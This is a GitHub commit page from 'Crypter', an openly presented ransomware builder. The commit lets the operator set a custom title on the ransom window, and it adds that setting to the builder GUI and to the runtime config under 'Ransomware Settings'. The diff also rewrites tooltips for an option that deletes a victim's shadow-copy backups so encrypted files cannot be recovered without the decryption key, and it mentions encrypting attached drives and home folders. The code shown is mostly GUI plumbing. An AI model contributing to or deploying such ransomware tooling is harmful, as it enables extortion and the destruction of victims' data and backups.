Skip to content

Commit

Permalink
Implemented ability to specify a custom GUI Title
Browse files Browse the repository at this point in the history
  • Loading branch information
Sithis committed Dec 5, 2017
1 parent 3d684ff commit 2e35b6f
Show file tree
Hide file tree
Showing 6 changed files with 323 additions and 32 deletions.
25 changes: 17 additions & 8 deletions Crypter/Gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -406,18 +406,27 @@ def update_visuals(self):
)

# Titles
self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % (
#=======================================================================
# self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % (
# self.__config["maj_version"],
# self.__config["min_version"]
# )
# )
# self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper())
# self.TitleLabel.SetForegroundColour(wx.Colour(
# self.__config["heading_font_colour"][0],
# self.__config["heading_font_colour"][1],
# self.__config["heading_font_colour"][2],
# )
# )
#=======================================================================
self.SetTitle(self.__config["gui_title"] + " v%s.%s" % (
self.__config["maj_version"],
self.__config["min_version"]
)
)
self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper())
self.TitleLabel.SetForegroundColour(wx.Colour(
self.__config["heading_font_colour"][0],
self.__config["heading_font_colour"][1],
self.__config["heading_font_colour"][2],
)
)
self.TitleLabel.SetLabel(self.__config["gui_title"])


# Set flashing text initial label and Colour
self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG])
Expand Down
14 changes: 14 additions & 0 deletions build/ExeBuilder/Base.py
Original file line number Diff line number Diff line change
Expand Up @@ -124,6 +124,19 @@
"config_area": "Binary Settings"
}
),
(
"gui_title", {
"label": "GUI Title",
"label_object_name": "GuiTitleLabel",
"input_object_name": "GuiTitleTextCtrl",
"regex": re.compile("^.{0,20}$"),
"example": "CRYPTER",
"input_requirement": "A Title to display in Crypter GUI",
"validate": True,
"default": "CRYPTER",
"config_area": "Ransomware Settings"
}
),
(
"upx_dir", {
"label": "UPX Packer Directory",
Expand Down Expand Up @@ -311,6 +324,7 @@
@summary: Runtime configuration items. To be written to the Ransomware's runtime config file
'''
RUNTIME_CONFIG_ITEMS = [
"gui_title",
"encrypt_attached_drives",
"encrypt_user_home",
"encrypted_file_extension",
Expand Down
37 changes: 35 additions & 2 deletions build/ExeBuilder/BuilderGuiAbsBase.py
Original file line number Diff line number Diff line change
Expand Up @@ -300,13 +300,46 @@ def __init__( self, parent ):

sbSizer13 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"General" ), wx.VERTICAL )

bSizer4112 = wx.BoxSizer( wx.HORIZONTAL )

bSizer20321311 = wx.BoxSizer( wx.HORIZONTAL )

self.GuiTitleLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"GUI Title", wx.DefaultPosition, wx.DefaultSize, 0 )
self.GuiTitleLabel.Wrap( -1 )
self.GuiTitleLabel.SetToolTipString( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" )

bSizer20321311.Add( self.GuiTitleLabel, 0, wx.ALL, 5 )


bSizer20321311.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )

self.GuiTitleTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 )
self.GuiTitleTextCtrl.SetMaxLength( 20 )
self.GuiTitleTextCtrl.SetToolTipString( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" )

bSizer20321311.Add( self.GuiTitleTextCtrl, 0, wx.ALL, 5 )


bSizer4112.Add( bSizer20321311, 1, wx.EXPAND, 5 )

bSizer203211121 = wx.BoxSizer( wx.HORIZONTAL )


bSizer203211121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )


bSizer4112.Add( bSizer203211121, 1, wx.EXPAND, 5 )


sbSizer13.Add( bSizer4112, 1, wx.EXPAND, 5 )

bSizer411 = wx.BoxSizer( wx.HORIZONTAL )

bSizer2032131 = wx.BoxSizer( wx.HORIZONTAL )

self.DeleteShadowCopiesLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Delete Shadow Copies", wx.DefaultPosition, wx.DefaultSize, 0 )
self.DeleteShadowCopiesLabel.Wrap( -1 )
self.DeleteShadowCopiesLabel.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key." )
self.DeleteShadowCopiesLabel.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nNote: This operation will fail silently if the user does not have sufficient privileges" )

bSizer2032131.Add( self.DeleteShadowCopiesLabel, 0, wx.ALL, 5 )

Expand All @@ -315,7 +348,7 @@ def __init__( self, parent ):

self.DeleteShadowCopiesCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 )
self.DeleteShadowCopiesCheckbox.SetValue(True)
self.DeleteShadowCopiesCheckbox.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key." )
self.DeleteShadowCopiesCheckbox.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nNote: This operation will fail silently if the user does not have sufficient privileges" )

bSizer2032131.Add( self.DeleteShadowCopiesCheckbox, 0, wx.ALL, 5 )

Expand Down
7 changes: 7 additions & 0 deletions build/ExeBuilder/Gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -112,6 +112,11 @@ def update_config_values(self, config_dict):
self.UpxDirPicker.SetPath(config_dict["upx_dir"])
else:
self.UpxDirPicker.SetPath("")
# GUI Title
if "gui_title" in config_dict:
self.GuiTitleTextCtrl.SetValue(config_dict["gui_title"])
else:
self.GuiTitleTextCtrl.SetValue("")
# Delete Shadow Copies
if "delete_shadow_copies" in config_dict:
if config_dict["delete_shadow_copies"]:
Expand Down Expand Up @@ -403,6 +408,8 @@ def __get_input_data(self):
user_input_dict["pyinstaller_aes_key"] = self.PyInstallerAesKeyTextCtrl.GetValue()
# Icon FIle
user_input_dict["icon_file"] = self.IconFilePicker.GetPath()
# GUI Title
user_input_dict["gui_title"] = self.GuiTitleTextCtrl.GetValue()
# UPX Packer Dir
user_input_dict["upx_dir"] = self.UpxDirPicker.GetPath()
# Delete Shadow Copies
Expand Down
Loading

0 comments on commit 2e35b6f

Please sign in to comment.